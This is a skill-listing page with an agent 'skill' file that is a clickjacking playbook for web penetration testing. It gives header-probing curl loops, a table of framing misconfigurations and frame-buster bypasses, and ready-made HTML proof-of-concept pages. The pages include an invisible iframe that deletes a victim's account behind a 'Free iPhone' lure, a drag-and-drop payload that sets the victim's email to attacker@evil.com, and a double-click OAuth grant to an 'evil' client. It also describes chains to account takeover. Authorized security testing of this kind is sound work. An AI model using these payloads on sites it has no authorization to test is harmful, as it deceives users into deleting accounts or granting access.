# Clickjacking

> UI redressing — missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.

- Skill: `purpleailab/clickjacking` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/clickjacking`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/clickjacking/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/clickjacking

---


# Clickjacking Playbook

Framing a sensitive UI under an attacker page lets a single victim click trigger
a privileged action (delete account, transfer funds, grant OAuth scope, confirm
2FA). Severity = severity of the framed action. Pages without `X-Frame-Options`
*and* without `Content-Security-Policy: frame-ancestors` are framable.

## 1. Detection — framing controls
```bash
# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
  echo "== $path =="
  curl -s -D- -o /dev/null "https://<TARGET>$path" \
    | grep -iE "x-frame-options|content-security-policy"
done

# Quick "is it framable?" probe — save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI → framing allowed.
```
Server-side allow:
- no `X-Frame-Options` header **and**
- no `frame-ancestors` directive in `Content-Security-Policy` (or `frame-ancestors *` / overly broad).

## 2. Misconfig matrix

| Class | Server behaviour | Exploit |
|---|---|---|
| No XFO, no CSP frame-ancestors | full framing allowed | classic overlay |
| `XFO: ALLOW-FROM` only | ignored by modern browsers | full framing in Chromium/Firefox |
| `frame-ancestors *` | explicit allow-all | full framing |
| `frame-ancestors 'self' *.target.com` | trusts every subdomain | host PoC on a takeable subdomain |
| Frame-buster JS only (`if (top!=self) top.location=self.location`) | client-side defense | `sandbox="allow-forms allow-scripts"` (no `allow-top-navigation`) defeats it |
| 204-frame-buster | response replaces self | `<iframe csp="sandbox" ...>` or pre-empt with `onbeforeunload` |
| Drag-and-drop sinks | sensitive textarea framable | drag attacker-controlled string onto target form |
| Cursorjacking | custom cursor + offset | misalign visible vs. real pointer |
| Double-clickjacking | first click opens prompt, second confirms | two-stage overlay (Paulos Yibelo 2024) |
| Touch / pointer gestures | mobile swipe consent | overlay with transparent gesture target |
| `Permissions-Policy` missing | camera/mic in iframe | request perms in nested iframe over consent UI |

## 3. Exploit PoC — overlay
```html
<!doctype html>
<html><head><title>Free iPhone</title>
<style>
  body { margin:0 }
  .lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
  iframe { position:absolute; z-index:2; opacity:0.0001;
           top:120px; left:60px; width:400px; height:80px;
           border:0; pointer-events:auto; }
</style></head><body>
  <div class="lure">
    Click <b style="color:red">CLAIM</b> to win an iPhone:
    <button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
  </div>
  <!-- aligned so the invisible iframe button sits exactly over CLAIM -->
  <iframe src="https://<TARGET>/account/delete?confirm=1"
          sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>
```

### 3.1 Drag-and-drop CJ
```html
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
  Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>
```

### 3.2 Double-clickjacking (browser confirm dialog)
```html
<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->
```

## 4. Chains
- **CJ + OAuth consent** → silent scope grant → API takeover.
- **CJ + CSRF-token leakage** → click triggers a state change that reads token from the framed page.
- **CJ + self-XSS** → coerce victim to paste/drag the payload into a framed input.
- **CJ + 2FA confirm** → step-up auth confirmed under a lure click.

## 5. Tools
- Burp Suite — *Clickbandit* (point-and-click PoC generator)
- **clickjacker.io** / OWASP **Clickjacking Tester**
- Manual: any HTML editor + a browser with frame ancestors disabled in dev

## 6. Detection signatures & OPSEC

| Indicator | Detection method | OPSEC note |
|---|---|---|
| Framing from foreign origin | server-side referer logging | Host PoC on in-scope domain during authorized tests |
| Sudden spike in sensitive actions w/ short dwell time | UX analytics | Demonstrate impact with a single victim profile |
| Browser console CSP report-only violations | CSP report-uri | Validate prod CSP, not staging |

## Decision Gate: clickjacking confirmed → exploitation
- [ ] Target lacks `X-Frame-Options` and effective `frame-ancestors`
- [ ] Frame-buster (if any) bypassed via `sandbox` / CSP tricks
- [ ] A security-relevant action (delete, grant, transfer, confirm) is reachable in one or two clicks
- [ ] PoC visually demonstrates the lure → action mapping
If all checked, escalate per `finding-protocol`; otherwise downgrade to informational
(framable but no sensitive action).

